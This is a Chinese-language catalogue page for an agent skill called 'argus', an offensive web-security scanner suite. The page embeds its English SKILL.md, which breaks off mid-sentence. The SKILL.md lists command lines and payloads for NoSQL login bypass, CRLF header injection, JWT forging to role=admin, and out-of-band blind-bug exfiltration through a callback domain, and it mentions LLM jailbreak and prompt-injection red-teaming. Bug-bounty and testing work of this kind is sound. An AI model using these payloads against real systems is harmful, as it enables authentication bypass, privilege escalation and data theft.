跳到正文
Skillpedia
安全5.5k · #14782

argus

它能做什么

这项技能教智能体如何对 Web 应用或 API 运行一组安全扫描器。每个扫描器针对一类常见弱点,并报告其发现。

适用场景

  • ✓当安全测试人员需要检查 API 是否存在过于开放的跨域访问设置的时候。
  • ✓当测试人员持有 JWT 令牌,想检查其中是否存在常见签名错误的时候。
  • ✓当测试人员怀疑存在盲注漏洞,需要带外确认步骤的时候。

技能链接

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/argus/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/argus/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请扫描我的测试 API,检查 CORS 和 JWT 的弱点,并列出你发现的问题。”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会把目标上看到的特征匹配到合适的扫描器,使用目标地址和任何登录 Cookie 运行它,然后总结结果。每项结果都会标注严重程度。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

ARGUS — THE ALL-SEEING SCANNER SUITE

Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the NoSQL "db" surface, JWT forging, blind-bug confirmation via OOB (the eye that sees the invisible — unblocks an entire severity band), and automated LLM red-teaming. All pure-Python, no new deps. Core logic is offline-testable.


0. ROUTING — which tool for what

Signal on the target Tool / command
API reflects Origin, or ACAO/ACAC headers seen /cors
Param reaches a redirect / Location / log / response header /crlf
JSON login or {user,pass} body, Mongo/Mongoose stack /nosqli
Authorization: Bearer ey... / JWT in cookie or storage /jwt-scan
Suspected blind SSRF/XXE/SQLi/RCE (no in-band signal) /oob
Chatbot / agent / LLM feature /llm-redteam

1. CORS — /cors

bughunter/tools/cors_scanner.py https://api.target.com/me --cookie "session=..."
bughunter/tools/cors_scanner.py -l recon/target.com/urls/api.txt --json

Sends crafted Origin headers, classifies Access-Control-Allow-Origin / Access-Control-Allow-Credentials:

  • CRITICAL — reflects attacker origin with ACAC: true → cookie-auth'd cross-origin read (account-data exfil).
  • HIGH — null origin trusted with credentials.
  • MEDIUM — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
  • Probes suffix/prefix regex bypass (target.com.evil, notarget.com) and subdomain trust (chains with takeover).

Always pass --cookie with a live session — the credentialed path is the win.

2. CRLF / host-header — /crlf

bughunter/tools/crlf_scanner.py "https://target.com/r?u=x" --host-header

Injects encoded CRLF (%0d%0a, double-encoded, UTF-8 overlong %E5%98%8A%E5%98%8D) trying to land Set-Cookie: crlftest=1 in the response. --host-header also tests Host / X-Forwarded-Host / Forwarded injection and flags attacker-host reflection in Location (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.

urllib strips raw \r\n from URLs by design — the encoded variants are what actually go on the wire.

3. NoSQL injection — /nosqli

bughunter/tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password
bughunter/tools/nosqli_scanner.py --query "https://t/api/items?id=1"   # emits bracket variants
  • Operator auth-bypass: {"email":{"$ne":null},"password":{"$ne":null}}
  • Bracket syntax (Express/qs): email[$ne]=&password[$ne]=
  • $where time-based blind: {"$where":"sleep(5000)"} → server-side JS eval = CRITICAL

Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the $where payload delays the response ≥3.5 s.

4. JWT attacks — /jwt-scan (offline)

bughunter/tools/jwt_scanner.py "$TOKEN" --analyze
bughunter/tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin
bughunter/tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin
bughunter/tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
  • --alg-none — strip signature, set alg to none/None/NONE/nOnE.
  • --confuse — RS256→HS256: re-sign with the server's public key as HMAC secret.
  • --crack — brute the HS256 secret.
  • --analyze — flags alg=none, missing exp, trust-bearing claims (role/is_admin/scope), kid (probe for traversal/SQLi).

Get the public key from /.well-known/jwks.json or /jwks.json. Replay the forged token against an authed endpoint — acceptance = auth bypass / privesc.

5. Out-of-band confirmation — /oob ⭐

The highest-leverage tool. Confirms blind bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.

# 1. listener (prints your OOB domain, streams interactions)
bughunter/tools/oob_listener.py --listen > inter.jsonl
# 2. payloads embedding a unique marker per injection point
bughunter/tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
# 3. correlate received callbacks
bughunter/tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json

Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL xp_dirtree / MySQL LOAD_FILE / Oracle

常见问题

需要安装额外的工具吗?

这项技能说明,扫描器是纯 Python 实现,无需新增依赖。

它涵盖哪些弱点类型?

它涵盖跨域配置错误、CRLF 和 Host 头注入、NoSQL 注入、JWT 攻击、带外确认以及 LLM 红队测试。

它能测试登录后的页面吗?

能。这项技能展示了如何把会话 Cookie 传给扫描器。

详情

作者的原始描述

Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might reach

repo: awarexone/Agentic-Bug-Hunter

热度

GitHub 星标
5.5k
排名
#14782
许可证
MIT
更新时间
2026/10/28

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能